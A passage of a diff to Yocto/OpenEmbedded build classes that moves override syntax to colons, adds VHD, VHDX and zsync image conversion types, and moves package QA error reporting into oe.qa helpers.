-CONVERSION_CMD_sha256sum = "sha256sum ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type} > ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.sha256sum"
-CONVERSION_CMD_sha384sum = "sha384sum ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type} > ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.sha384sum"
-CONVERSION_CMD_sha512sum = "sha512sum ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type} > ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.sha512sum"
-CONVERSION_CMD_bmap = "bmaptool create ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type} -o ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.bmap"
-CONVERSION_CMD_u-boot = "mkimage -A ${UBOOT_ARCH} -O linux -T ramdisk -C none -n ${IMAGE_NAME} -d ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type} ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.u-boot"
-CONVERSION_CMD_vmdk = "qemu-img convert -O vmdk ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type} ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.vmdk"
-CONVERSION_CMD_vdi = "qemu-img convert -O vdi ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type} ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.vdi"
-CONVERSION_CMD_qcow2 = "qemu-img convert -O qcow2 ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type} ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.qcow2"
-CONVERSION_CMD_base64 = "base64 ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type} > ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.base64"
+CONVERSIONTYPES = "gz bz2 lzma xz lz4 lzo zip zst sum md5sum sha1sum sha224sum sha256sum sha384sum sha512sum bmap u-boot vmdk vhd vhdx vdi qcow2 base64 gzsync zsync ${COMPRESSIONTYPES}"
+CONVERSION_CMD:lzma = "lzma -k -f -7 ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}"
+CONVERSION_CMD:gz = "gzip -f -9 -n -c --rsyncable ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type} > ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.gz"
+CONVERSION_CMD:bz2 = "pbzip2 -f -k ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}"
+CONVERSION_CMD:xz = "xz -f -k -c ${XZ_COMPRESSION_LEVEL} ${XZ_DEFAULTS} --check=${XZ_INTEGRITY_CHECK} ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type} > ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.xz"
+CONVERSION_CMD:lz4 = "lz4 -9 -z -l ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type} ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.lz4"
+CONVERSION_CMD:lzo = "lzop -9 ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}"
+CONVERSION_CMD:zip = "zip ${ZIP_COMPRESSION_LEVEL} ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.zip ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}"
+CONVERSION_CMD:zst = "zstd -f -k -T0 -c ${ZSTD_COMPRESSION_LEVEL} ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type} > ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.zst"
+CONVERSION_CMD:sum = "sumtool -i ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type} -o ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.sum ${JFFS2_SUM_EXTRA_ARGS}"
+CONVERSION_CMD:md5sum = "md5sum ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type} > ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.md5sum"
+CONVERSION_CMD:sha1sum = "sha1sum ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type} > ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.sha1sum"
+CONVERSION_CMD:sha224sum = "sha224sum ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type} > ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.sha224sum"
+CONVERSION_CMD:sha256sum = "sha256sum ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type} > ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.sha256sum"
+CONVERSION_CMD:sha384sum = "sha384sum ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type} > ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.sha384sum"
+CONVERSION_CMD:sha512sum = "sha512sum ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type} > ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.sha512sum"
+CONVERSION_CMD:bmap = "bmaptool create ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type} -o ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.bmap"
+CONVERSION_CMD:u-boot = "mkimage -A ${UBOOT_ARCH} -O linux -T ramdisk -C none -n ${IMAGE_NAME} -d ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type} ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.u-boot"
+CONVERSION_CMD:vmdk = "qemu-img convert -O vmdk ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type} ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.vmdk"
+CONVERSION_CMD:vhdx = "qemu-img convert -O vhdx -o subformat=dynamic ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type} ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.vhdx"
+CONVERSION_CMD:vhd = "qemu-img convert -O vpc -o subformat=fixed ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type} ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.vhd"
+CONVERSION_CMD:vdi = "qemu-img convert -O vdi ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type} ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.vdi"
+CONVERSION_CMD:qcow2 = "qemu-img convert -O qcow2 ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type} ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.qcow2"
+CONVERSION_CMD:base64 = "base64 ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type} > ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.base64"
+CONVERSION_CMD:zsync = "zsyncmake_curl ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}"
+CONVERSION_CMD:gzsync = "zsyncmake_curl -z ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}"
CONVERSION_DEPENDS_lzma = "xz-native"
CONVERSION_DEPENDS_gz = "pigz-native"
CONVERSION_DEPENDS_bz2 = "pbzip2-native"
@@ -316,14 +323,18 @@ CONVERSION_DEPENDS_vmdk = "qemu-system-native"
CONVERSION_DEPENDS_vdi = "qemu-system-native"
CONVERSION_DEPENDS_qcow2 = "qemu-system-native"
CONVERSION_DEPENDS_base64 = "coreutils-native"
+CONVERSION_DEPENDS_vhdx = "qemu-system-native"
+CONVERSION_DEPENDS_vhd = "qemu-system-native"
+CONVERSION_DEPENDS_zsync = "zsync-curl-native"
+CONVERSION_DEPENDS_gzsync = "zsync-curl-native"
RUNNABLE_IMAGE_TYPES ?= "ext2 ext3 ext4"
RUNNABLE_MACHINE_PATTERNS ?= "qemu"
-DEPLOYABLE_IMAGE_TYPES ?= "hddimg iso"
+DEPLOYABLE_IMAGE_TYPES ?= "hddimg iso"
# The IMAGE_TYPES_MASKED variable will be used to mask out from the IMAGE_FSTYPES,
-# images that will not be built at do_rootfs time: vmdk, vdi, qcow2, hddimg, iso, etc.
+# images that will not be built at do_rootfs time: vmdk, vhd, vhdx, vdi, qcow2, hddimg, iso, etc.
IMAGE_TYPES_MASKED ?= ""
# bmap requires python3 to be in the PATH
diff --git a/meta/classes/image_types_wic.bbclass b/meta/classes/image_types_wic.bbclass
index 286e0f5d54..e3863c88a9 100644
--- a/meta/classes/image_types_wic.bbclass
+++ b/meta/classes/image_types_wic.bbclass
@@ -1,11 +1,36 @@
# The WICVARS variable is used to define list of bitbake variables used in wic code
# variables from this list is written to <image>.env file
WICVARS ?= "\
- BBLAYERS IMGDEPLOYDIR DEPLOY_DIR_IMAGE FAKEROOTCMD IMAGE_BASENAME IMAGE_EFI_BOOT_FILES IMAGE_BOOT_FILES \
- IMAGE_LINK_NAME IMAGE_ROOTFS INITRAMFS_FSTYPES INITRD INITRD_LIVE ISODIR RECIPE_SYSROOT_NATIVE \
- ROOTFS_SIZE STAGING_DATADIR STAGING_DIR STAGING_LIBDIR TARGET_SYS \
- KERNEL_IMAGETYPE MACHINE INITRAMFS_IMAGE INITRAMFS_IMAGE_BUNDLE INITRAMFS_LINK_NAME APPEND \
- ASSUME_PROVIDED PSEUDO_IGNORE_PATHS"
+ APPEND \
+ ASSUME_PROVIDED \
+ BBLAYERS \
+ DEPLOY_DIR_IMAGE \
+ FAKEROOTCMD \
+ HOSTTOOLS_DIR \
+ IMAGE_BASENAME \
+ IMAGE_BOOT_FILES \
+ IMAGE_EFI_BOOT_FILES \
+ IMAGE_LINK_NAME \
+ IMAGE_ROOTFS \
+ IMGDEPLOYDIR \
+ INITRAMFS_FSTYPES \
+ INITRAMFS_IMAGE \
+ INITRAMFS_IMAGE_BUNDLE \
+ INITRAMFS_LINK_NAME \
+ INITRD \
+ INITRD_LIVE \
+ ISODIR \
+ KERNEL_IMAGETYPE \
+ MACHINE \
+ PSEUDO_IGNORE_PATHS \
+ RECIPE_SYSROOT_NATIVE \
+ ROOTFS_SIZE \
+ STAGING_DATADIR \
+ STAGING_DIR \
+ STAGING_DIR_HOST \
+ STAGING_LIBDIR \
+ TARGET_SYS \
+"
inherit ${@bb.utils.contains('INITRAMFS_IMAGE_BUNDLE', '1', 'kernel-artifact-names', '', d)}
@@ -26,17 +51,23 @@ def wks_search(files, search_path):
WIC_CREATE_EXTRA_ARGS ?= ""
-IMAGE_CMD_wic () {
+IMAGE_CMD:wic () {
out="${IMGDEPLOYDIR}/${IMAGE_NAME}"
build_wic="${WORKDIR}/build-wic"
+ tmp_wic="${WORKDIR}/tmp-wic"
wks="${WKS_FULL_PATH}"
+ if [ -e "$tmp_wic" ]; then
+ # Ensure we don't have any junk leftover from a previously interrupted
+ # do_image_wic execution
+ rm -rf "$tmp_wic"
+ fi
if [ -z "$wks" ]; then
bbfatal "No kickstart files from WKS_FILES were found: ${WKS_FILES}. Please set WKS_FILE or WKS_FILES appropriately."
fi
- BUILDDIR="${TOPDIR}" PSEUDO_UNLOAD=1 wic create "$wks" --vars "${STAGING_DIR}/${MACHINE}/imgdata/" -e "${IMAGE_BASENAME}" -o "$build_wic/" ${WIC_CREATE_EXTRA_ARGS}
+ BUILDDIR="${TOPDIR}" PSEUDO_UNLOAD=1 wic create "$wks" --vars "${STAGING_DIR}/${MACHINE}/imgdata/" -e "${IMAGE_BASENAME}" -o "$build_wic/" -w "$tmp_wic" ${WIC_CREATE_EXTRA_ARGS}
mv "$build_wic/$(basename "${wks%.wks}")"*.direct "$out${IMAGE_NAME_SUFFIX}.wic"
}
-IMAGE_CMD_wic[vardepsexclude] = "WKS_FULL_PATH WKS_FILES TOPDIR"
+IMAGE_CMD:wic[vardepsexclude] = "WKS_FULL_PATH WKS_FILES TOPDIR"
do_image_wic[cleandirs] = "${WORKDIR}/build-wic"
PSEUDO_IGNORE_PATHS .= ",${WORKDIR}/build-wic"
@@ -54,9 +85,9 @@ do_image_wic[deptask] += "do_image_complete"
WKS_FILE_DEPENDS_DEFAULT = '${@bb.utils.contains_any("BUILD_ARCH", [ 'x86_64', 'i686' ], "syslinux-native", "",d)}'
WKS_FILE_DEPENDS_DEFAULT += "bmap-tools-native cdrtools-native btrfs-tools-native squashfs-tools-native e2fsprogs-native"
WKS_FILE_DEPENDS_BOOTLOADERS = ""
-WKS_FILE_DEPENDS_BOOTLOADERS_x86 = "syslinux grub-efi systemd-boot"
-WKS_FILE_DEPENDS_BOOTLOADERS_x86-64 = "syslinux grub-efi systemd-boot"
-WKS_FILE_DEPENDS_BOOTLOADERS_x86-x32 = "syslinux grub-efi"
+WKS_FILE_DEPENDS_BOOTLOADERS:x86 = "syslinux grub-efi systemd-boot os-release"
+WKS_FILE_DEPENDS_BOOTLOADERS:x86-64 = "syslinux grub-efi systemd-boot os-release"
+WKS_FILE_DEPENDS_BOOTLOADERS:x86-x32 = "syslinux grub-efi"
WKS_FILE_DEPENDS ??= "${WKS_FILE_DEPENDS_DEFAULT} ${WKS_FILE_DEPENDS_BOOTLOADERS}"
diff --git a/meta/classes/insane.bbclass b/meta/classes/insane.bbclass
index cf2165c517..11532ecd08 100644
--- a/meta/classes/insane.bbclass
+++ b/meta/classes/insane.bbclass
@@ -18,8 +18,6 @@
# files under exec_prefix
# -Check if the package name is upper case
-QA_SANE = "True"
-
# Elect whether a given type of error is a warning or error, they may
# have been set by other files.
WARN_QA ?= " libdir xorg-driver-abi \
@@ -27,7 +25,9 @@ WARN_QA ?= " libdir xorg-driver-abi \
infodir build-deps src-uri-bad symlink-to-sysroot multilib \
invalid-packageconfig host-user-contaminated uppercase-pn patch-fuzz \
mime mime-xdg unlisted-pkg-lics unhandled-features-check \
- missing-update-alternatives \
+ missing-update-alternatives native-last missing-ptest \
+ license-exists license-no-generic license-syntax license-format \
+ license-incompatible license-file-missing \
"
ERROR_QA ?= "dev-so debug-deps dev-deps debug-files arch pkgconfig la \
perms dep-cmp pkgvarcheck perm-config perm-line perm-link \
@@ -37,10 +37,10 @@ ERROR_QA ?= "dev-so debug-deps dev-deps debug-files arch pkgconfig la \
configure-gettext perllocalpod shebang-size \
already-stripped installed-vs-shipped ldflags compile-host-path \
install-host-path pn-overrides unknown-configure-option \
- useless-rpaths rpaths staticdev \
+ useless-rpaths rpaths staticdev empty-dirs \
"
# Add usrmerge QA check based on distro feature
-ERROR_QA_append = "${@bb.utils.contains('DISTRO_FEATURES', 'usrmerge', ' usrmerge', '', d)}"
+ERROR_QA:append = "${@bb.utils.contains('DISTRO_FEATURES', 'usrmerge', ' usrmerge', '', d)}"
FAKEROOT_QA = "host-user-contaminated"
FAKEROOT_QA[doc] = "QA tests which need to run under fakeroot. If any \
@@ -50,6 +50,21 @@ ALL_QA = "${WARN_QA} ${ERROR_QA}"
UNKNOWN_CONFIGURE_WHITELIST ?= "--enable-nls --disable-nls --disable-silent-rules --disable-dependency-tracking --with-libtool-sysroot --disable-static"
+# This is a list of directories that are expected to be empty.
+QA_EMPTY_DIRS ?= " \
+ /dev/pts \
+ /media \
+ /proc \
+ /run \
+ /tmp \
+ ${localstatedir}/run \
+ ${localstatedir}/volatile \
+"
+# It is possible to specify why a directory is expected to be empty by defining
+# QA_EMPTY_DIRS_RECOMMENDATION:<path>, which will then be included in the error
+# message if the directory is not empty. If it is not specified for a directory,
+# then "but it is expected to be empty" will be used.
+
def package_qa_clean_path(path, d, pkg=None):
"""
Remove redundant paths from the path for display. If pkg isn't set then
@@ -59,35 +74,10 @@ def package_qa_clean_path(path, d, pkg=None):
path = path.replace(os.path.join(d.getVar("PKGDEST"), pkg), "/")
return path.replace(d.getVar("TMPDIR"), "/").replace("//", "/")
-def package_qa_write_error(type, error, d):
- logfile = d.getVar('QA_LOGFILE')
- if logfile:
- p = d.getVar('P')
- with open(logfile, "a+") as f:
- f.write("%s: %s [%s]\n" % (p, error, type))
-
-def package_qa_handle_error(error_class, error_msg, d):
- if error_class in (d.getVar("ERROR_QA") or "").split():
- package_qa_write_error(error_class, error_msg, d)
- bb.error("QA Issue: %s [%s]" % (error_msg, error_class))
- d.setVar("QA_SANE", False)
- return False
- elif error_class in (d.getVar("WARN_QA") or "").split():
- package_qa_write_error(error_class, error_msg, d)
- bb.warn("QA Issue: %s [%s]" % (error_msg, error_class))
- else:
- bb.note("QA Issue: %s [%s]" % (error_msg, error_class))
- return True
-
-def package_qa_add_message(messages, section, new_msg):
- if section not in messages:
- messages[section] = new_msg
- else:
- messages[section] = messages[section] + "\n" + new_msg
-
QAPATHTEST[shebang-size] = "package_qa_check_shebang_size"
def package_qa_check_shebang_size(path, name, d, elf, messages):
- if os.path.islink(path) or elf:
+ import stat
+ if os.path.islink(path) or stat.S_ISFIFO(os.stat(path).st_mode) or elf:
return
try:
@@ -105,7 +95,7 @@ def package_qa_check_shebang_size(path, name, d, elf, messages):
return
if len(stanza) > 129:
- package_qa_add_message(messages, "shebang-size", "%s: %s maximum shebang size exceeded, the maximum size is 128." % (name, package_qa_clean_path(path, d)))
+ oe.qa.add_message(messages, "shebang-size", "%s: %s maximum shebang size exceeded, the maximum size is 128." % (name, package_qa_clean_path(path, d)))
return
QAPATHTEST[libexec] = "package_qa_check_libexec"
@@ -117,7 +107,7 @@ def package_qa_check_libexec(path,name, d, elf, messages):
return True
if 'libexec' in path.split(os.path.sep):
- package_qa_add_message(messages, "libexec", "%s: %s is using libexec please relocate to %s" % (name, package_qa_clean_path(path, d), libexec))
+ oe.qa.add_message(messages, "libexec", "%s: %s is using libexec please relocate to %s" % (name, package_qa_clean_path(path, d), libexec))
return False
return True
@@ -145,7 +135,7 @@ def package_qa_check_rpath(file,name, d, elf, messages):
rpath = m.group(1)
for dir in bad_dirs:
if dir in rpath:
- package_qa_add_message(messages, "rpaths", "package %s contains bad RPATH %s in file %s" % (name, rpath, file))
+ oe.qa.add_message(messages, "rpaths", "package %s contains bad RPATH %s in file %s" % (name, rpath, file))
QAPATHTEST[useless-rpaths] = "package_qa_check_useless_rpaths"
def package_qa_check_useless_rpaths(file, name, d, elf, messages):
@@ -175,7 +165,7 @@ def package_qa_check_useless_rpaths(file, name, d, elf, messages):
if rpath_eq(rpath, libdir) or rpath_eq(rpath, base_libdir):
# The dynamic linker searches both these places anyway. There is no point in
# looking there again.
- package_qa_add_message(messages, "useless-rpaths", "%s: %s contains probably-redundant RPATH %s" % (name, package_qa_clean_path(file, d), rpath))
+ oe.qa.add_message(messages, "useless-rpaths", "%s: %s contains probably-redundant RPATH %s" % (name, package_qa_clean_path(file, d, name), rpath))
QAPATHTEST[dev-so] = "package_qa_check_dev"
def package_qa_check_dev(path, name, d, elf, messages):
@@ -184,8 +174,8 @@ def package_qa_check_dev(path, name, d, elf, messages):
"""
if not name.endswith("-dev") and not name.endswith("-dbg") and not name.endswith("-ptest") and not name.startswith("nativesdk-") and path.endswith(".so") and os.path.islink(path):
- package_qa_add_message(messages, "dev-so", "non -dev/-dbg/nativesdk- package contains symlink .so: %s path '%s'" % \
- (name, package_qa_clean_path(path,d)))
+ oe.qa.add_message(messages, "dev-so", "non -dev/-dbg/nativesdk- package %s contains symlink .so '%s'" % \
+ (name, package_qa_clean_path(path, d, name)))
QAPATHTEST[dev-elf] = "package_qa_check_dev_elf"
def package_qa_check_dev_elf(path, name, d, elf, messages):
@@ -195,8 +185,8 @@ def package_qa_check_dev_elf(path, name, d, elf, messages):
install link-time .so files that are linker scripts.
"""
if name.endswith("-dev") and path.endswith(".so") and not os.path.islink(path) and elf:
- package_qa_add_message(messages, "dev-elf", "-dev package contains non-symlink .so: %s path '%s'" % \
- (name, package_qa_clean_path(path,d)))
+ oe.qa.add_message(messages, "dev-elf", "-dev package %s contains non-symlink .so '%s'" % \
+ (name, package_qa_clean_path(path, d, name)))
QAPATHTEST[staticdev] = "package_qa_check_staticdev"
def package_qa_check_staticdev(path, name, d, elf, messages):
@@ -208,8 +198,8 @@ def package_qa_check_staticdev(path, name, d, elf, messages):
"""
if not name.endswith("-pic") and not name.endswith("-staticdev") and not name.endswith("-ptest") and path.endswith(".a") and not path.endswith("_nonshared.a") and not '/usr/lib/debug-static/' in path and not '/.debug-static/' in path:
- package_qa_add_message(messages, "staticdev", "non -staticdev package contains static .a library: %s path '%s'" % \
- (name, package_qa_clean_path(path,d)))
+ oe.qa.add_message(messages, "staticdev", "non -staticdev package contains static .a library: %s path '%s'" % \
+ (name, package_qa_clean_path(path,d, name)))
QAPATHTEST[mime] = "package_qa_check_mime"
def package_qa_check_mime(path, name, d, elf, messages):
@@ -219,7 +209,7 @@ def package_qa_check_mime(path, name, d, elf, messages):
"""
if d.getVar("datadir") + "/mime/packages" in path and path.endswith('.xml') and not bb.data.inherits_class("mime", d):
- package_qa_add_message(messages, "mime", "package contains mime types but does not inherit mime: %s path '%s'" % \
+ oe.qa.add_message(messages, "mime", "package contains mime types but does not inherit mime: %s path '%s'" % \
(name, package_qa_clean_path(path,d)))
QAPATHTEST[mime-xdg] = "package_qa_check_mime_xdg"
@@ -245,10 +235,10 @@ def package_qa_check_mime_xdg(path, name, d, elf, messages):
pkgname = name
if name == d.getVar('PN'):
pkgname = '${PN}'
- wstr += "If yes: add \'inhert mime-xdg\' and \'MIME_XDG_PACKAGES += \"%s\"\' / if no add \'INSANE_SKIP_%s += \"mime-xdg\"\' to recipe." % (pkgname, pkgname)
- package_qa_add_message(messages, "mime-xdg", wstr)
+ wstr += "If yes: add \'inhert mime-xdg\' and \'MIME_XDG_PACKAGES += \"%s\"\' / if no add \'INSANE_SKIP:%s += \"mime-xdg\"\' to recipe." % (pkgname, pkgname)
+ oe.qa.add_message(messages, "mime-xdg", wstr)
if mime_type_found:
- package_qa_add_message(messages, "mime-xdg", "package contains desktop file with key 'MimeType' but does not inhert mime-xdg: %s path '%s'" % \
+ oe.qa.add_message(messages, "mime-xdg", "package contains desktop file with key 'MimeType' but does not inhert mime-xdg: %s path '%s'" % \
(name, package_qa_clean_path(path,d)))
def package_qa_check_libdir(d):
@@ -278,7 +268,7 @@ def package_qa_check_libdir(d):
# Skip subdirectories for any packages with libdir in INSANE_SKIP
skippackages = []
for package in dirs:
- if 'libdir' in (d.getVar('INSANE_SKIP_' + package) or "").split():
+ if 'libdir' in (d.getVar('INSANE_SKIP:' + package) or "").split():
bb.note("Package %s skipping libdir QA test" % (package))
skippackages.append(package)
elif d.getVar('PACKAGE_DEBUG_SPLIT_STYLE') == 'debug-file-directory' and package.endswith("-dbg"):
@@ -312,7 +302,7 @@ def package_qa_check_libdir(d):
pass
if messages:
- package_qa_handle_error("libdir", "\n".join(messages), d)
+ oe.qa.handle_error("libdir", "\n".join(messages), d)
QAPATHTEST[debug-files] = "package_qa_check_dbg"
def package_qa_check_dbg(path, name, d, elf, messages):
@@ -322,7 +312,7 @@ def package_qa_check_dbg(path, name, d, elf, messages):
if not "-dbg" in name and not "-ptest" in name:
if '.debug' in path.split(os.path.sep):
- package_qa_add_message(messages, "debug-files", "non debug package contains .debug directory: %s path %s" % \
+ oe.qa.add_message(messages, "debug-files", "non debug package contains .debug directory: %s path %s" % \
(name, package_qa_clean_path(path,d)))
QAPATHTEST[arch] = "package_qa_check_arch"
@@ -342,7 +332,7 @@ def package_qa_check_arch(path,name,d, elf, messages):
if target_arch == "allarch":
pn = d.getVar('PN')
- package_qa_add_message(messages, "arch", pn + ": Recipe inherits the allarch class, but has packaged architecture-specific binaries")
+ oe.qa.add_message(messages, "arch", pn + ": Recipe inherits the allarch class, but has packaged architecture-specific binaries")
return
# FIXME: Cross package confuse this check, so just skip them
@@ -365,13 +355,13 @@ def package_qa_check_arch(path,name,d, elf, messages):
target_os == "linux-gnu_ilp32" or re.match(r'mips64.*32', d.getVar('DEFAULTTUNE')))
is_bpf = (oe.qa.elf_machine_to_string(elf.machine()) == "BPF")
if not ((machine == elf.machine()) or is_32 or is_bpf):
- package_qa_add_message(messages, "arch", "Architecture did not match (%s, expected %s) in %s" % \
+ oe.qa.add_message(messages, "arch", "Architecture did not match (%s, expected %s) in %s" % \
(oe.qa.elf_machine_to_string(elf.machine()), oe.qa.elf_machine_to_string(machine), package_qa_clean_path(path, d, name)))
elif not ((bits == elf.abiSize()) or is_32 or is_bpf):
- package_qa_add_message(messages, "arch", "Bit size did not match (%d, expected %d) in %s" % \
+ oe.qa.add_message(messages, "arch", "Bit size did not match (%d, expected %d) in %s" % \
(elf.abiSize(), bits, package_qa_clean_path(path, d, name)))
elif not ((littleendian == elf.isLittleEndian()) or is_bpf):
- package_qa_add_message(messages, "arch", "Endiannes did not match (%d, expected %d) in %s" % \
+ oe.qa.add_message(messages, "arch", "Endiannes did not match (%d, expected %d) in %s" % \
(elf.isLittleEndian(), littleendian, package_qa_clean_path(path,d, name)))
QAPATHTEST[desktop] = "package_qa_check_desktop"
@@ -384,7 +374,7 @@ def package_qa_check_desktop(path, name, d, elf, messages):
output = os.popen("%s %s" % (desktop_file_validate, path))
# This only produces output on errors
for l in output:
- package_qa_add_message(messages, "desktop", "Desktop file issue: " + l.strip())
+ oe.qa.add_message(messages, "desktop", "Desktop file issue: " + l.strip())
QAPATHTEST[textrel] = "package_qa_textrel"
def package_qa_textrel(path, name, d, elf, messages):
@@ -410,7 +400,7 @@ def package_qa_textrel(path, name, d, elf, messages):
if not sane:
path = package_qa_clean_path(path, d, name)
- package_qa_add_message(messages, "textrel", "%s: ELF binary %s has relocations in .text" % (name, path))
+ oe.qa.add_message(messages, "textrel", "%s: ELF binary %s has relocations in .text" % (name, path))
QAPATHTEST[ldflags] = "package_qa_hash_style"
def package_qa_hash_style(path, name, d, elf, messages):
@@ -445,7 +435,7 @@ def package_qa_hash_style(path, name, d, elf, messages):
sane = True
if has_syms and not sane:
path = package_qa_clean_path(path, d, name)
- package_qa_add_message(messages, "ldflags", "File %s in package %s doesn't have GNU_HASH (didn't pass LDFLAGS?)" % (path, name))
+ oe.qa.add_message(messages, "ldflags", "File %s in package %s doesn't have GNU_HASH (didn't pass LDFLAGS?)" % (path, name))
QAPATHTEST[buildpaths] = "package_qa_check_buildpaths"
@@ -466,7 +456,7 @@ def package_qa_check_buildpaths(path, name, d, elf, messages):
file_content = f.read()
if tmpdir in file_content:
trimmed = path.replace(os.path.join (d.getVar("PKGDEST"), name), "")
- package_qa_add_message(messages, "buildpaths", "File %s in package %s contains reference to TMPDIR" % (trimmed, name))
+ oe.qa.add_message(messages, "buildpaths", "File %s in package %s contains reference to TMPDIR" % (trimmed, name))
QAPATHTEST[xorg-driver-abi] = "package_qa_check_xorg_driver_abi"
@@ -482,10 +472,10 @@ def package_qa_check_xorg_driver_abi(path, name, d, elf, messages):
driverdir = d.expand("${libdir}/xorg/modules/drivers/")
if driverdir in path and path.endswith(".so"):
mlprefix = d.getVar('MLPREFIX') or ''
- for rdep in bb.utils.explode_deps(d.getVar('RDEPENDS_' + name) or ""):
+ for rdep in bb.utils.explode_deps(d.getVar('RDEPENDS:' + name) or ""):
if rdep.startswith("%sxorg-abi-" % mlprefix):
return
- package_qa_add_message(messages, "xorg-driver-abi", "Package %s contains Xorg driver (%s) but no xorg-abi- dependencies" % (name, os.path.basename(path)))
+ oe.qa.add_message(messages, "xorg-driver-abi", "Package %s contains Xorg driver (%s) but no xorg-abi- dependencies" % (name, os.path.basename(path)))
QAPATHTEST[infodir] = "package_qa_check_infodir"
def package_qa_check_infodir(path, name, d, elf, messages):
@@ -495,7 +485,7 @@ def package_qa_check_infodir(path, name, d, elf, messages):
infodir = d.expand("${infodir}/dir")
if infodir in path:
- package_qa_add_message(messages, "infodir", "The /usr/share/info/dir file is not meant to be shipped in a particular package.")
+ oe.qa.add_message(messages, "infodir", "The /usr/share/info/dir file is not meant to be shipped in a particular package.")
QAPATHTEST[symlink-to-sysroot] = "package_qa_check_symlink_to_sysroot"
def package_qa_check_symlink_to_sysroot(path, name, d, elf, messages):
@@ -508,7 +498,7 @@ def package_qa_check_symlink_to_sysroot(path, name, d, elf, messages):
tmpdir = d.getVar('TMPDIR')
if target.startswith(tmpdir):
trimmed = path.replace(os.path.join (d.getVar("PKGDEST"), name), "")
- package_qa_add_message(messages, "symlink-to-sysroot", "Symlink %s in %s points to TMPDIR" % (trimmed, name))
+ oe.qa.add_message(messages, "symlink-to-sysroot", "Symlink %s in %s points to TMPDIR" % (trimmed, name))
# Check license variables
do_populate_lic[postfuncs] += "populate_lic_qa_checksum"
@@ -516,7 +506,6 @@ python populate_lic_qa_checksum() {
"""
Check for changes in the license files.
"""
- sane = True
lic_files = d.getVar('LIC_FILES_CHKSUM') or ''
lic = d.getVar('LICENSE')
@@ -526,7 +515,7 @@ python populate_lic_qa_checksum() {
return
if not lic_files and d.getVar('SRC_URI'):
- sane &= package_qa_handle_error("license-checksum", pn + ": Recipe file fetches files and does not have license file information (LIC_FILES_CHKSUM)", d)
+ oe.qa.handle_error("license-checksum", pn + ": Recipe file fetches files and does not have license file information (LIC_FILES_CHKSUM)", d)
srcdir = d.getVar('S')
corebase_licensefile = d.getVar('COREBASE') + "/LICENSE"
@@ -534,11 +523,11 @@ python populate_lic_qa_checksum() {
try:
(type, host, path, user, pswd, parm) = bb.fetch.decodeurl(url)
except bb.fetch.MalformedUrl:
- sane &= package_qa_handle_error("license-checksum", pn + ": LIC_FILES_CHKSUM contains an invalid URL: " + url, d)
+ oe.qa.handle_error("license-checksum", pn + ": LIC_FILES_CHKSUM contains an invalid URL: " + url, d)
continue
srclicfile = os.path.join(srcdir, path)
if not os.path.isfile(srclicfile):
- sane &= package_qa_handle_error("license-checksum", pn + ": LIC_FILES_CHKSUM points to an invalid file: " + srclicfile, d)
